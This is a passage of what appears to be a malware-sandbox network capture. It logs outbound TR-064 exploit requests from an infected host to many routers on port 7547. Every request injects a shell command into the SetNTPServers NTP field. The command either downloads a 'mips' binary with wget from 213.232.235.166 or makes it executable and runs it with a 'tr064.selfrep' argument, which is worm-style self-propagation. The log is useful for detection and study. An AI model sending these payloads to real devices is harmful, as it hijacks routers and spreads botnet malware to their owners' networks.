Apr 15, 2024 08:52:57.648518085 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.304533958 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.584443092 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	51186	99.255.65.96	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.667608976 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	57578	39.25.133.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.727407932 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	38346	59.30.60.157	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.732984066 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.034302950 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	51568	14.80.86.229	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.735093117 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	39570	97.108.31.16	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.782013893 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	46186	110.175.37.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.786092043 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.100930929 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:57 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	33826	152.249.184.17	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.804905891 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.143138885 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="IDRhZjc4Mzg6YmQ3MjdhMzg6ZTY1OTI3Zjg=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Apr 15, 2024 08:52:59.143147945 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="IDRhZjc4Mzg6YmQ3MjdhMzg6ZTY1OTI3Zjg=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	39414	163.191.71.200	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.859658003 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.496443987 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.776454926 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	51202	99.255.65.96	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.921045065 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	56292	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.926484108 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:55Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	37396	39.53.254.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.960613012 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.370501041 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	39718	97.108.31.16	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.010776997 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	57594	39.25.133.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.015840054 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	38362	59.30.60.157	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.027127981 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.326009035 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	46204	110.175.37.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.100492001 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.414906979 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:58 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	33844	152.249.184.17	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.137411118 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.151140928 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NzI4Mjg4YTg6MTZjZTJlMDA6MmRkNjA2MGE=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	37414	39.53.254.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.370424032 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.780657053 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	59342	2.142.104.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.511854887 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	35406	222.103.251.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.801786900 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	59120	31.136.74.211	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.829174042 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.808443069 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:01.728423119 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
